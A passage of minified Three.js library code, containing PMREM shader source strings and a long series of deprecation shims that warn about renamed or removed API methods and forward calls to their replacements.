gl_FragColor );\n\n\t\t\t}\n\t\t`,blending:0,depthTest:!1,depthWrite:!1})}function Xh(){return"\n\n\t\tprecision mediump float;\n\t\tprecision mediump int;\n\n\t\tattribute vec3 position;\n\t\tattribute vec2 uv;\n\t\tattribute float faceIndex;\n\n\t\tvarying vec3 vOutputDirection;\n\n\t\t// RH coordinate system; PMREM face-indexing convention\n\t\tvec3 getDirection( vec2 uv, float face ) {\n\n\t\t\tuv = 2.0 * uv - 1.0;\n\n\t\t\tvec3 direction = vec3( uv, 1.0 );\n\n\t\t\tif ( face == 0.0 ) {\n\n\t\t\t\tdirection = direction.zyx; // ( 1, v, u ) pos x\n\n\t\t\t} else if ( face == 1.0 ) {\n\n\t\t\t\tdirection = direction.xzy;\n\t\t\t\tdirection.xz *= -1.0; // ( -u, 1, -v ) pos y\n\n\t\t\t} else if ( face == 2.0 ) {\n\n\t\t\t\tdirection.x *= -1.0; // ( -u, v, 1 ) pos z\n\n\t\t\t} else if ( face == 3.0 ) {\n\n\t\t\t\tdirection = direction.zyx;\n\t\t\t\tdirection.xz *= -1.0; // ( -1, v, -u ) neg x\n\n\t\t\t} else if ( face == 4.0 ) {\n\n\t\t\t\tdirection = direction.xzy;\n\t\t\t\tdirection.xy *= -1.0; // ( -u, -1, v ) neg y\n\n\t\t\t} else if ( face == 5.0 ) {\n\n\t\t\t\tdirection.z *= -1.0; // ( u, v, -1 ) neg z\n\n\t\t\t}\n\n\t\t\treturn direction;\n\n\t\t}\n\n\t\tvoid main() {\n\n\t\t\tvOutputDirection = getDirection( uv, faceIndex );\n\t\t\tgl_Position = vec4( position, 1.0 );\n\n\t\t}\n\t"}function Yh(){return"\n\n\t\tuniform int inputEncoding;\n\t\tuniform int outputEncoding;\n\n\t\t#include \n\n\t\tvec4 inputTexelToLinear( vec4 value ) {\n\n\t\t\tif ( inputEncoding == 0 ) {\n\n\t\t\t\treturn value;\n\n\t\t\t} else if ( inputEncoding == 1 ) {\n\n\t\t\t\treturn sRGBToLinear( value );\n\n\t\t\t} else if ( inputEncoding == 2 ) {\n\n\t\t\t\treturn RGBEToLinear( value );\n\n\t\t\t} else if ( inputEncoding == 3 ) {\n\n\t\t\t\treturn RGBMToLinear( value, 7.0 );\n\n\t\t\t} else if ( inputEncoding == 4 ) {\n\n\t\t\t\treturn RGBMToLinear( value, 16.0 );\n\n\t\t\t} else if ( inputEncoding == 5 ) {\n\n\t\t\t\treturn RGBDToLinear( value, 256.0 );\n\n\t\t\t} else {\n\n\t\t\t\treturn GammaToLinear( value, 2.2 );\n\n\t\t\t}\n\n\t\t}\n\n\t\tvec4 linearToOutputTexel( vec4 value ) {\n\n\t\t\tif ( outputEncoding == 0 ) {\n\n\t\t\t\treturn value;\n\n\t\t\t} else if ( outputEncoding == 1 ) {\n\n\t\t\t\treturn LinearTosRGB( value );\n\n\t\t\t} else if ( outputEncoding == 2 ) {\n\n\t\t\t\treturn LinearToRGBE( value );\n\n\t\t\t} else if ( outputEncoding == 3 ) {\n\n\t\t\t\treturn LinearToRGBM( value, 7.0 );\n\n\t\t\t} else if ( outputEncoding == 4 ) {\n\n\t\t\t\treturn LinearToRGBM( value, 16.0 );\n\n\t\t\t} else if ( outputEncoding == 5 ) {\n\n\t\t\t\treturn LinearToRGBD( value, 256.0 );\n\n\t\t\t} else {\n\n\t\t\t\treturn LinearToGamma( value, 2.2 );\n\n\t\t\t}\n\n\t\t}\n\n\t\tvec4 envMapTexelToLinear( vec4 color ) {\n\n\t\t\treturn inputTexelToLinear( color );\n\n\t\t}\n\t"}sl.create=function(t,e){return console.log("THREE.Curve.create() has been deprecated"),t.prototype=Object.create(sl.prototype),t.prototype.constructor=t,t.prototype.getPoint=e,t},El.prototype.fromPoints=function(t){return console.warn("THREE.Path: .fromPoints() has been renamed to .setFromPoints()."),this.setFromPoints(t)},lh.prototype.setColors=function(){console.error("THREE.GridHelper: setColors() has been deprecated, pass them in the constructor instead.")},ih.prototype.update=function(){console.error("THREE.SkeletonHelper: update() no longer needs to be called.")},Qo.prototype.extractUrlBase=function(t){return console.warn("THREE.Loader: .extractUrlBase() has been deprecated. Use THREE.LoaderUtils.extractUrlBase() instead."),Zl.extractUrlBase(t)},Qo.Handlers={add:function(){console.error("THREE.Loader: Handlers.add() has been removed. Use LoadingManager.addHandler() instead.")},get:function(){console.error("THREE.Loader: Handlers.get() has been removed. Use LoadingManager.getHandler() instead.")}},Yc.prototype.center=function(t){return console.warn("THREE.Box2: .center() has been renamed to .getCenter()."),this.getCenter(t)},Yc.prototype.empty=function(){return console.warn("THREE.Box2: .empty() has been renamed to .isEmpty()."),this.isEmpty()},Yc.prototype.isIntersectionBox=function(t){return console.warn("THREE.Box2: .isIntersectionBox() has been renamed to .intersectsBox()."),this.intersectsBox(t)},Yc.prototype.size=function(t){return console.warn("THREE.Box2: .size() has been renamed to .getSize()."),this.getSize(t)},wt.prototype.center=function(t){return console.warn("THREE.Box3: .center() has been renamed to .getCenter()."),this.getCenter(t)},wt.prototype.empty=function(){return console.warn("THREE.Box3: .empty() has been renamed to .isEmpty()."),this.isEmpty()},wt.prototype.isIntersectionBox=function(t){return console.warn("THREE.Box3: .isIntersectionBox() has been renamed to .intersectsBox()."),this.intersectsBox(t)},wt.prototype.isIntersectionSphere=function(t){return console.warn("THREE.Box3: .isIntersectionSphere() has been renamed to .intersectsSphere()."),this.intersectsSphere(t)},wt.prototype.size=function(t){return console.warn("THREE.Box3: .size() has been renamed to .getSize()."),this.getSize(t)},Gt.prototype.empty=function(){return console.warn("THREE.Sphere: .empty() has been renamed to .isEmpty()."),this.isEmpty()},Qn.prototype.setFromMatrix=function(t){return console.warn("THREE.Frustum: .setFromMatrix() has been renamed to .setFromProjectionMatrix()."),this.setFromProjectionMatrix(t)},Qc.prototype.center=function(t){return console.warn("THREE.Line3: .center() has been renamed to .getCenter()."),this.getCenter(t)},ot.random16=function(){return console.warn("THREE.Math: .random16() has been deprecated. Use Math.random() instead."),Math.random()},ot.nearestPowerOfTwo=function(t){return console.warn("THREE.Math: .nearestPowerOfTwo() has been renamed to .floorPowerOfTwo()."),ot.floorPowerOfTwo(t)},ot.nextPowerOfTwo=function(t){return console.warn("THREE.Math: .nextPowerOfTwo() has been renamed to .ceilPowerOfTwo()."),ot.ceilPowerOfTwo(t)},ct.prototype.flattenToArrayOffset=function(t,e){return console.warn("THREE.Matrix3: .flattenToArrayOffset() has been deprecated. Use .toArray() instead."),this.toArray(t,e)},ct.prototype.multiplyVector3=function(t){return console.warn("THREE.Matrix3: .multiplyVector3() has been removed. Use vector.applyMatrix3( matrix ) instead."),t.applyMatrix3(this)},ct.prototype.multiplyVector3Array=function(){console.error("THREE.Matrix3: .multiplyVector3Array() has been removed.")},ct.prototype.applyToBufferAttribute=function(t){return console.warn("THREE.Matrix3: .applyToBufferAttribute() has been removed. Use attribute.applyMatrix3( matrix ) instead."),t.applyMatrix3(this)},ct.prototype.applyToVector3Array=function(){console.error("THREE.Matrix3: .applyToVector3Array() has been removed.")},ct.prototype.getInverse=function(t){return console.warn("THREE.Matrix3: .getInverse() has been removed. Use matrixInv.copy( matrix ).invert(); instead."),this.copy(t).invert()},Jt.prototype.extractPosition=function(t){return console.warn("THREE.Matrix4: .extractPosition() has been renamed to .copyPosition()."),this.copyPosition(t)},Jt.prototype.flattenToArrayOffset=function(t,e){return console.warn("THREE.Matrix4: .flattenToArrayOffset() has been deprecated. Use .toArray() instead."),this.toArray(t,e)},Jt.prototype.getPosition=function(){return console.warn("THREE.Matrix4: .getPosition() has been removed. Use Vector3.setFromMatrixPosition( matrix ) instead."),(new xt).setFromMatrixColumn(this,3)},Jt.prototype.setRotationFromQuaternion=function(t){return console.warn("THREE.Matrix4: .setRotationFromQuaternion() has been renamed to .makeRotationFromQuaternion()."),this.makeRotationFromQuaternion(t)},Jt.prototype.multiplyToArray=function(){console.warn("THREE.Matrix4: .multiplyToArray() has been removed.")},Jt.prototype.multiplyVector3=function(t){return console.warn("THREE.Matrix4: .multiplyVector3() has been removed. Use vector.applyMatrix4( matrix ) instead."),t.applyMatrix4(this)},Jt.prototype.multiplyVector4=function(t){return console.warn("THREE.Matrix4: .multiplyVector4() has been removed. Use vector.applyMatrix4( matrix ) instead."),t.applyMatrix4(this)},Jt.prototype.multiplyVector3Array=function(){console.error("THREE.Matrix4: .multiplyVector3Array() has been removed.")},Jt.prototype.rotateAxis=function(t){console.warn("THREE.Matrix4: .rotateAxis() has been removed. Use Vector3.transformDirection( matrix ) instead."),t.transformDirection(this)},Jt.prototype.crossVector=function(t){return console.warn("THREE.Matrix4: .crossVector() has been removed. Use vector.applyMatrix4( matrix ) instead."),t.applyMatrix4(this)},Jt.prototype.translate=function(){console.error("THREE.Matrix4: .translate() has been removed.")},Jt.prototype.rotateX=function(){console.error("THREE.Matrix4: .rotateX() has been removed.")},Jt.prototype.rotateY=function(){console.error("THREE.Matrix4: .rotateY() has been removed.")},Jt.prototype.rotateZ=function(){console.error("THREE.Matrix4: .rotateZ() has been removed.")},Jt.prototype.rotateByAxis=function(){console.error("THREE.Matrix4: .rotateByAxis() has been removed.")},Jt.prototype.applyToBufferAttribute=function(t){return console.warn("THREE.Matrix4: .applyToBufferAttribute() has been removed. Use attribute.applyMatrix4( matrix ) instead."),t.applyMatrix4(this)},Jt.prototype.applyToVector3Array=function(){console.error("THREE.Matrix4: .applyToVector3Array() has been removed.")},Jt.prototype.makeFrustum=function(t,e,n,i,r,s){return console.warn("THREE.Matrix4: .makeFrustum() has been removed. Use .makePerspective( left, right, top, bottom, near, far ) instead."),this.makePerspective(t,e,i,n,r,s)},Jt.prototype.getInverse=function(t){return console.warn("THREE.Matrix4: .getInverse() has been removed. Use matrixInv.copy( matrix ).invert(); instead."),this.copy(t).invert()},Te.prototype.isIntersectionLine=function(t){return console.warn("THREE.Plane: .isIntersectionLine() has been renamed to .intersectsLine()."),this.intersectsLine(t)},yt.prototype.multiplyVector3=function(t){return console.warn("THREE.Quaternion: .multiplyVector3() has been removed. Use is now vector.applyQuaternion( quaternion ) instead."),t.applyQuaternion(this)},yt.prototype.inverse=function(){return console.warn("THREE.Quaternion: .inverse() has been renamed to invert()."),this.invert()},Zt.prototype.isIntersectionBox=function(t){return console.warn("THREE.Ray: .isIntersectionBox() has been renamed to .intersectsBox()."),this.intersectsBox(t)},Zt.prototype.isIntersectionPlane=function(t){return console.warn("THREE.Ray: .isIntersectionPlane() has been renamed to .intersectsPlane()."),this.intersectsPlane(t)},Zt.prototype.isIntersectionSphere=function(t){return console.warn("THREE.Ray: .isIntersectionSphere() has been renamed to .intersectsSphere()."),this.intersectsSphere(t)},Oe.prototype.area=function(){return console.warn("THREE.Triangle: .area() has been renamed to .getArea()."),this.getArea()},Oe.prototype.barycoordFromPoint=function(t,e){return console.warn("THREE.Triangle: .barycoordFromPoint() has been renamed to .getBarycoord()."),this.getBarycoord(t,e)},Oe.prototype.midpoint=function(t){return console.warn("THREE.Triangle: .midpoint() has been renamed to .getMidpoint()."),this.getMidpoint(t)},Oe.prototypenormal=function(t){return console.warn("THREE.Triangle: .normal() has been renamed to .getNormal()."),this.getNormal(t)},Oe.prototype.plane=function(t){return console.warn("THREE.Triangle: .plane() has been renamed to .getPlane()."),this.getPlane(t)},Oe.barycoordFromPoint=function(t,e,n,i,r){return console.warn("THREE.Triangle: .barycoordFromPoint() has been renamed to .getBarycoord()."),Oe.getBarycoord(t,e,n,i,r)},Oe.normal=function(t,e,n,i){return console.warn("THREE.Triangle: .normal() has been renamed to .getNormal()."),Oe.getNormal(t,e,n,i)},Al.prototype.extractAllPoints=function(t){return console.warn("THREE.Shape: .extractAllPoints() has been removed. Use .extractPoints() instead."),this.extractPoints(t)},Al.prototype.extrude=function(t){return console.warn("THREE.Shape: .extrude() has been removed. Use ExtrudeGeometry() instead."),new so(this,t)},Al.prototype.makeGeometry=function(t){return console.warn("THREE.Shape: .makeGeometry() has been removed. Use ShapeGeometry() instead."),new po(this,t)},lt.prototype.fromAttribute=function(t,e,n){return console.warn("THREE.Vector2: .fromAttribute() has been renamed to .fromBufferAttribute()."),this.fromBufferAttribute(t,e,n)},lt.prototype.distanceToManhattan=function(t){return console.warn("THREE.Vector2: .distanceToManhattan() has been renamed to .manhattanDistanceTo()."),this.manhattanDistanceTo(t)},lt.prototype.lengthManhattan=function(){return console.warn("THREE.Vector2: .lengthManhattan() has been renamed to .manhattanLength()."),this.manhattanLength()},xt.prototype.setEulerFromRotationMatrix=function(){console.error("THREE.Vector3: .setEulerFromRotationMatrix() has been removed. Use Euler.setFromRotationMatrix() instead.")},xt.prototype.setEulerFromQuaternion=function(){console.error("THREE.Vector3: .setEulerFromQuaternion() has been removed. Use Euler.setFromQuaternion() instead.")},xt.prototype.getPositionFromMatrix=function(t){return console.warn("THREE.Vector3: .getPositionFromMatrix() has been renamed to .setFromMatrixPosition()."),this.setFromMatrixPosition(t)},xt.prototype.getScaleFromMatrix=function(t){return console.warn("THREE.Vector3: .getScaleFromMatrix() has been renamed to .setFromMatrixScale()."),this.setFromMatrixScale(t)},xt.prototype.getColumnFromMatrix=function(t,e){return console.warn("THREE.Vector3: .getColumnFromMatrix() has been renamed to .setFromMatrixColumn()."),this.setFromMatrixColumn(e,t)},xt.prototype.applyProjection=function(t){return console.warn("THREE.Vector3: .applyProjection() has been removed. Use .applyMatrix4( m ) instead."),this.applyMatrix4(t)},xt.prototype.fromAttribute=function(t,e,n){return console.warn("THREE.Vector3: .fromAttribute() has been renamed to .fromBufferAttribute()."),this.fromBufferAttribute(t,e,n)},xt.prototype.distanceToManhattan=function(t){return console.warn("THREE.Vector3: .distanceToManhattan() has been renamed to .manhattanDistanceTo()."),this.manhattanDistanceTo(t)},xt.prototype.lengthManhattan=function(){return console.warn("THREE.Vector3: .lengthManhattan() has been renamed to .manhattanLength()."),this.manhattanLength()},mt.prototype.fromAttribute=function(t,e,n){return console.warn("THREE.Vector4: .fromAttribute() has been renamed to .fromBufferAttribute()."),this.fromBufferAttribute(t,e,n)},mt.prototype.lengthManhattan=function(){return console.warn("THREE.Vector4: .lengthManhattan() has been renamed to .manhattanLength()."),this.manhattanLength()},be.prototype.getChildByName=function(t){return console.warn("THREE.Object3D: .getChildByName() has been renamed to .getObjectByName()."),this.getObjectByName(t)},be.prototype.renderDepth=function(){console.warn("THREE.Object3D: .renderDepth has been removed. Use .renderOrder, instead.")},be.prototype.translate=function(t,e){return console.warn("THREE.Object3D: .translate() has been removed. Use .translateOnAxis( axis, distance ) instead."),this.translateOnAxis(e,t)},be.prototype.getWorldRotation=function(){console.error("THREE.Object3D: .getWorldRotation() has been removed. Use THREE.Object3D.getWorldQuaternion( target ) instead.")},be.prototype.applyMatrix=function(t){return console.warn("THREE.Object3D: .applyMatrix() has been renamed to .applyMatrix4()."),this.applyMatrix4(t)},Object.defineProperties(be.prototype,{eulerOrder:{get:function(){return console.warn("THREE.Object3D: .eulerOrder is now .rotation.order."),this.rotation.order},set:function(t){console.warn("THREE.Object3D: .eulerOrder is now .rotation.order."),this.rotation.order=t}},useQuaternion:{get:function(){console.warn("THREE.Object3D: .useQuaternion has been removed. The library now uses quaternions by default.")},set:function(){console.warn("THREE.Object3D: .useQuaternion has been removed. The library now uses quaternions by default.")}}}),Bn.prototype.setDrawMode=function(){console.error("THREE.Mesh: .setDrawMode() has been removed. The renderer now always assumes THREE.TrianglesDrawMode. Transform your geometry via BufferGeometryUtils.toTrianglesDrawMode() if necessary.")},Object.defineProperties(Bn.prototype,{drawMode:{get:function(){return console.error("THREE.Mesh: .drawMode has been removed. The renderer now always assumes THREE.TrianglesDrawMode."),0},set:function(){console.error("THREE.Mesh: .drawMode has been removed. The renderer now always assumes THREE.TrianglesDrawMode. Transform your geometry via BufferGeometryUtils.toTrianglesDrawMode() if necessary.")}}}),Vs.prototype.initBones=function(){console.error("THREE.SkinnedMesh: initBones() has been removed.")},Object.defineProperty(sl.prototype,"__arcLengthDivisions",{get:function(){return console.warn("THREE.Curve: .__arcLengthDivisions is now .arcLengthDivisions."),this.arcLengthDivisions},set:function(t){console.warn("THREE.Curve: .__arcLengthDivisions is now .arcLengthDivisions."),this.arcLengthDivisions=t}}),Vn.prototype.setLens=function(t,e){console.warn("THREE.PerspectiveCamera.setLens is deprecated. Use .setFocalLength and .filmGauge for a photographic setup."),void 0!==e&&(this.filmGauge=e),this.setFocalLength(t)},Object.defineProperties(Ll.prototype,{onlyShadow:{set:function(){console.warn("THREE.Light: .onlyShadow has been removed.")}},shadowCameraFov:{set:function(t){console.warn("THREE.Light: .shadowCameraFov is now .shadow.camera.fov."),this.shadow.camera.fov=t}},shadowCameraLeft:{set:function(t){console.warn("THREE.Light: .shadowCameraLeft is now .shadow.camera.left."),this.shadow.camera.left=t}},shadowCameraRight:{set:function(t){console.warn("THREE.Light: .shadowCameraRight is now .shadow.camera.right."),this.shadow.camera.right=t}},shadowCameraTop:{set:function(t){console.warn("THREE.Light: .shadowCameraTop is now .shadow.camera.top."),this.shadow.camera.top=t}},shadowCameraBottom:{set:function(t){console.warn("THREE.Light: .shadowCameraBottom is now .shadow.camera.bottom."),this.shadow.camera.bottom=t}},shadowCameraNear:{set:function(t){console.warn("THREE.Light: .shadowCameraNear is now .shadow.camera.near."),this.shadow.camera.near=t}},shadowCameraFar:{set:function(t){console.warn("THREE.Light: .shadowCameraFar is now .shadow.camera.far."),this.shadow.camera.far=t}},shadowCameraVisible:{set:function(){console.warn("THREE.Light: .shadowCameraVisible has been removed. Use new THREE.CameraHelper( light.shadow.camera ) instead.")}},shadowBias:{set:function(t){console.warn("THREE.Light: .shadowBias is now .shadow.bias."),this.shadow.bias=t}},shadowDarkness:{set:function(){console.warn("THREE.Light: .shadowDarkness has been removed.")}},shadowMapWidth:{set:function(t){console.warn("THREE.Light: .shadowMapWidth is now .shadow.mapSize.width."),this.shadow.mapSize.width=t}},shadowMapHeight:{set:function(t){console.warn("THREE.Light: .shadowMapHeight is now .shadow.mapSize.height."),this.shadow.mapSize.height=t}}}),Object.defineProperties(Ze.prototype,{length:{get:function(){return console.warn("THREE.BufferAttribute: .length has been deprecated. Use .count instead."),this.array.length}},dynamic:{get:function(){return console.warn("THREE.BufferAttribute: .dynamic has been deprecated. Use .usage instead."),this.usage===nt},set:function(){console.warn("THREE.BufferAttribute: .dynamic has been deprecated. Use .usage instead."),this.setUsage(nt)}}}),Ze.prototype.setDynamic=function(t){return console.warn("THREE.BufferAttribute: .setDynamic() has been deprecated. Use .setUsage() instead."),this.setUsage(!0===t?nt:et),this},Ze.prototype.copyIndicesArray=function(){console.error("THREE.BufferAttribute: .copyIndicesArray() has been removed.")},Ze.prototype.setArray=function(){console.error("THREE.BufferAttribute: .setArray has been removed. Use BufferGeometry .setAttribute to replace/resize attribute buffers")},vn.prototype.addIndex=function(t){console.warn("THREE.BufferGeometry: .addIndex() has been renamed to .setIndex()."),this.setIndex(t)},vn.prototype.addAttribute=function(t,e){return console.warn("THREE.BufferGeometry: .addAttribute() has been renamed to .setAttribute()."),e&&e.isBufferAttribute||e&&e.isInterleavedBufferAttribute?"index"===t?(console.warn("THREE.BufferGeometry.addAttribute: Use .setIndex() for index attribute."),this.setIndex(e),this):this.setAttribute(t,e):(console.warn("THREE.BufferGeometry: .addAttribute() now expects ( name, attribute )."),this.setAttribute(t,new Ze(arguments[1],arguments[2])))},vn.prototype.addDrawCall=function(t,e,n){void 0!==n&&console.warn("THREE.BufferGeometry: .addDrawCall() no longer supports indexOffset."),console.warn("THREE.BufferGeometry: .addDrawCall() is now .addGroup()."),this.addGroup(t,e)},vn.prototype.clearDrawCalls=function(){console.warn("THREE.BufferGeometry: .clearDrawCalls() is now .clearGroups()."),this.clearGroups()},vn.prototype.computeOffsets=function(){console.warn("THREE.BufferGeometry: .computeOffsets() has been removed.")},vn.prototype.removeAttribute=function(t){return console.warn("THREE.BufferGeometry: .removeAttribute() has been renamed to .deleteAttribute()."),this.deleteAttribute(t)},vn.prototype.applyMatrix=function(t){return console.warn("THREE.BufferGeometry: .applyMatrix() has been renamed to .applyMatrix4()."),this.applyMatrix4(t)},Object.defineProperties(vn.prototype,{drawcalls:{get:function(){return console.error("THREE.BufferGeometry: .drawcalls has been renamed to .groups."),this.groups}},offsets:{get:function(){return console.warn("THREE.BufferGeometry: .offsets has been renamed to .groups."),this.groups}}}),Object.defineProperties(Jl.prototype,{maxInstancedCount:{get:function(){return console.warn("THREE.InstancedBufferGeometry: .maxInstancedCount has been renamed to .instanceCount."),this.instanceCount},set:function(t){console.warn("THREE.InstancedBufferGeometry: .maxInstancedCount has been renamed to .instanceCount."),this.instanceCount=t}}}),Object.defineProperties(Wc.prototype,{linePrecision:{get:function(){return console.warn("THREE.Raycaster: .linePrecision has been deprecated. Use .params.Line.threshold instead."),this.params.Line.threshold},set:function(t){console.warn("THREE.Raycaster: .linePrecision has been deprecated. Use .params.Line.threshold instead."),this.params.Line.threshold=t}}}),Object.defineProperties(gs.prototype,{dynamic:{get:function(){return console.warn("THREE.InterleavedBuffer: .length has been deprecated. Use .usage instead."),this.usage===nt},set:function(t){console.warn("THREE.InterleavedBuffer: .length has been deprecated. Use .usage instead."),this.setUsage(t)}}}),gs.prototype.setDynamic=function(t){return console.warn("THREE.InterleavedBuffer: .setDynamic() has been deprecated. Use .setUsage() instead."),this.setUsage(!0===t?nt:et),this},gs.prototype.setArray=function(){console.error("THREE.InterleavedBuffer: .setArray has been removed. Use BufferGeometry .setAttribute to replace/resize attribute buffers")},so.prototype.getArrays=function(){console.error("THREE.ExtrudeGeometry: .getArrays() has been removed.")},so.prototype.addShapeList=function(){console.error("THREE.ExtrudeGeometry: .addShapeList() has been removed.")},so.prototype.addShape=function(){console.error("THREE.ExtrudeGeometry: .addShape() has been removed.")},ms.prototype.dispose=function(){console.error("THREE.Scene: .dispose() has been removed.")},Gc.prototype.onUpdate=function(){return console.warn("THREE.Uniform: .onUpdate() has been removed. Use object.onBeforeRender() instead."),this},Object.defineProperties(Fe.prototype,{wrapAround:{get:function(){console.warn("THREE.Material: .wrapAround has been removed.")},set:function(){console.warn("THREE.Material: .wrapAround has been removed.")}},overdraw:{get:function(){console.warn("THREE.Material: .overdraw has been removed.")},set:function(){console.warn("THREE.Material: .overdraw has been removed.")}},wrapRGB:{get:function(){return console.warn("THREE.Material: .wrapRGB has been removed."),new je}},shading:{get:function(){console.error("THREE."+this.type+": .shading has been removed. Use the boolean .flatShading instead.")},set:function(t){console.warn("THREE."+this.type+": .shading has been removed. Use the boolean .flatShading instead."),this.flatShading=1===t}},stencilMask:{get:function(){return console.warn("THREE."+this.type+": .stencilMask has been removed. Use .stencilFuncMask instead."),this.stencilFuncMask},set:function(t){console.warn("THREE."+this.type+": .stencilMask has been removed. Use .stencilFuncMask instead."),this.stencilFuncMask=t}}}),Object.defineProperties(To.prototype,{transparency:{get:function(){return console.warn("THREE.MeshPhysicalMaterial: .transparency has been renamed to .transmission."),this.transmission},set:function(t){console.warn("THREE.MeshPhysicalMaterial: .transparency has been renamed to .transmission."),this.transmission=t}}}),Object.defineProperties(Gn.prototype,{derivatives:{get:function(){return console.warn("THREE.ShaderMaterial: .derivatives has been moved to .extensions.derivatives."),this.extensions.derivatives},set:function(t){console.warn("THREE. ShaderMaterial: .derivatives has been moved to .extensions.derivatives."),this.extensions.derivatives=t}}}),us.prototype.clearTarget=function(t,e,n,i){console.warn("THREE.WebGLRenderer: .clearTarget() has been deprecated. Use .setRenderTarget() and .clear() instead."),this.setRenderTarget(t),this.clear(e,n,i)},us.prototype.animate=function(t){console.warn("THREE.WebGLRenderer: .animate() is now .setAnimationLoop()."),this.setAnimationLoop(t)},us.prototype.getCurrentRenderTarget=function(){return console.warn("THREE.WebGLRenderer: .getCurrentRenderTarget() is now .getRenderTarget()."),this.getRenderTarget()},us.prototype.getMaxAnisotropy=function(){return console.warn("THREE.WebGLRenderer: .getMaxAnisotropy() is now .capabilities.getMaxAnisotropy()."),this.capabilities.getMaxAnisotropy()},us.prototype.getPrecision=function(){return console.warn("THREE.WebGLRenderer: .getPrecision() is now .capabilities.precision."),this.capabilities.precision},us.prototype.resetGLState=function(){return console.warn("THREE.WebGLRenderer: .resetGLState() is now .state.reset()."),this.state.reset()},us.prototype.supportsFloatTextures=function(){return console.warn("THREE.WebGLRenderer: .supportsFloatTextures() is now .extensions.get( 'OES_texture_float' )."),this.extensions.get("OES_texture_float")},us.prototype.supportsHalfFloatTextures=function(){return console.warn("THREE.WebGLRenderer: .supportsHalfFloatTextures() is now .extensions.get( 'OES_texture_half_float' )."),this.extensions.get("OES_texture_half_float")},us.prototype.supportsStandardDerivatives=function(){return console.warn("THREE.WebGLRenderer: .supportsStandardDerivatives() is now .extensions.get( 'OES_standard_derivatives' )."),this.extensions.get("OES_standard_derivatives")},us.prototype.supportsCompressedTextureS3TC=function(){return console.warn("THREE.WebGLRenderer: .supportsCompressedTextureS3TC() is now .extensions.get( 'WEBGL_compressed_texture_s3tc' )."),this.extensions.get("WEBGL_compressed_texture_s3tc")},us.prototype.supportsCompressedTexturePVRTC=function(){return console.warn("THREE.WebGLRenderer: .supportsCompressedTexturePVRTC() is now .extensions.get( 'WEBGL_compressed_texture_pvrtc' )."),this.extensions.get("WEBGL_compressed_texture_pvrtc")},us.prototype.supportsBlendMinMax=function(){return console.warn("THREE.WebGLRenderer: .supportsBlendMinMax() is now .extensions.get( 'EXT_blend_minmax' )."),this.extensions.get("EXT_blend_minmax")},us.prototype.supportsVertexTextures=function(){return console.warn("THREE.WebGLRenderer: .supportsVertexTextures() is now .capabilities.vertexTextures."),this.capabilities.vertexTextures},us.prototype.supportsInstancedArrays=function(){return console.warn("THREE.WebGLRenderer: .supportsInstancedArrays() is now .extensions.get( 'ANGLE_instanced_arrays' )."),this.extensions.get("ANGLE_instanced_arrays")},us.prototype.enableScissorTest=function(t){console.warn("THREE.WebGLRenderer: .enableScissorTest() is now .setScissorTest()."),this.setScissorTest(t)},us.prototype.initMaterial=function(){console.warn("THREE.WebGLRenderer: .initMaterial() has been removed.")},us.prototype.addPrePlugin=function(){console.warn("THREE.WebGLRenderer: .addPrePlugin() has been removed.")},us.prototype.addPostPlugin=function(){console.warn("THREE.WebGLRenderer: .addPostPlugin() has been removed.")},us.prototype.updateShadowMap=function(){console.warn("THREE.WebGLRenderer: .updateShadowMap() has been removed.")},us.prototype.setFaceCulling=function(){console.warn("THREE.WebGLRenderer: .setFaceCulling() has been removed.")},us.prototype.allocTextureUnit=function(){console.warn("THREE.WebGLRenderer: .allocTextureUnit() has been removed.")},us.prototype.setTexture=function(){console.warn("THREE.WebGLRenderer: .setTexture() has been removed.")},us.prototype.setTexture2D=function(){console.warn("THREE.WebGLRenderer: .setTexture2D() has been removed.")},us.prototype.setTextureCube=function(){console.warn("THREE.WebGLRenderer: .setTextureCube() has been removed.")},us.prototype.getActiveMipMapLevel=function(){return console.warn("THREE.WebGLRenderer: .getActiveMipMapLevel() is now .getActiveMipmapLevel()."),this.getActiveMipmapLevel()},Object.defineProperties(us.prototype,{shadowMapEnabled:{get:function(){return this.shadowMap.enabled},set:function(t){console.warn("THREE.WebGLRenderer: .shadowMapEnabled is now .shadowMap.enabled."),this.shadowMap.enabled=t}},shadowMapType:{get:function(){return this.shadowMap.type},set:function(t){console.warn("THREE.WebGLRenderer: .shadowMapType is now .shadowMap.type."),this.shadowMap.type=t}},shadowMapCullFace:{get:function(){console.warn("THREE.WebGLRenderer: .shadowMapCullFace has been removed. Set Material.shadowSide instead.")},set:function(){console.warn("THREE.WebGLRenderer: .shadowMapCullFace has been removed. Set Material.shadowSide instead.")}},context:{get:function(){return console.warn("THREE.WebGLRenderer: .context has been removed. Use .getContext() instead."),this.getContext()}},vr:{get:function(){return console.warn("THREE.WebGLRenderer: .vr has been renamed to .xr"),this.xr}},gammaInput:{get:function(){return console.warn("THREE.WebGLRenderer: .gammaInput has been removed. Set the encoding for textures via Texture.encoding instead."),!1},set:function(){console.warn("THREE.WebGLRenderer: .gammaInput has been removed. Set the encoding for textures via Texture.encoding instead.")}},gammaOutput:{get:function(){return console.warn("THREE.WebGLRenderer: .gammaOutput has been removed. Set WebGLRenderer.outputEncoding instead."),!1},set:function(t){console.warn("THREE.WebGLRenderer: .gammaOutput has been removed. Set WebGLRenderer.outputEncoding instead."),this.outputEncoding=!0===t?Y:X}},toneMappingWhitePoint:{get:function(){return console.warn("THREE.WebGLRenderer: .toneMappingWhitePoint has been removed."),1},set:function(){console.warn("THREE.WebGLRenderer: .toneMappingWhitePoint has been removed.")}}}),Object.defineProperties(ns.prototype,{cullFace:{get:function(){console.warn("THREE.WebGLRenderer: .shadowMap.cullFace has been removed. Set Material.shadowSide instead.")},set:function(){console.warn("THREE.WebGLRenderer: .shadowMap.cullFace has been removed. Set Material.shadowSide instead.")}},renderReverseSided:{get:function(){console.warn("THREE.WebGLRenderer: .shadowMap.renderReverseSided has been removed. Set Material.shadowSide instead.")},set:function(){console.warn("THREE.WebGLRenderer: .shadowMap.renderReverseSided has been removed. Set Material.shadowSide instead.")}},renderSingleSided:{get:function(){console.warn("THREE.WebGLRenderer: .shadowMap.renderSingleSided has been removed. Set Material.shadowSide instead.")},set:function(){console.warn("THREE.WebGLRenderer: .shadowMap.renderSingleSided has been removed. Set Material.shadowSide instead.")}}}),Object.defineProperties(gt.prototype,{wrapS:{get:function(){return console.warn("THREE.WebGLRenderTarget: .wrapS is now .texture.wrapS."),this.texture.wrapS},set:function(t){console.warn("THREE.WebGLRenderTarget: .wrapS is now .texture.wrapS."),this.texture.wrapS=t}},wrapT:{get:function(){return console.warn("THREE.WebGLRenderTarget: .wrapT is now 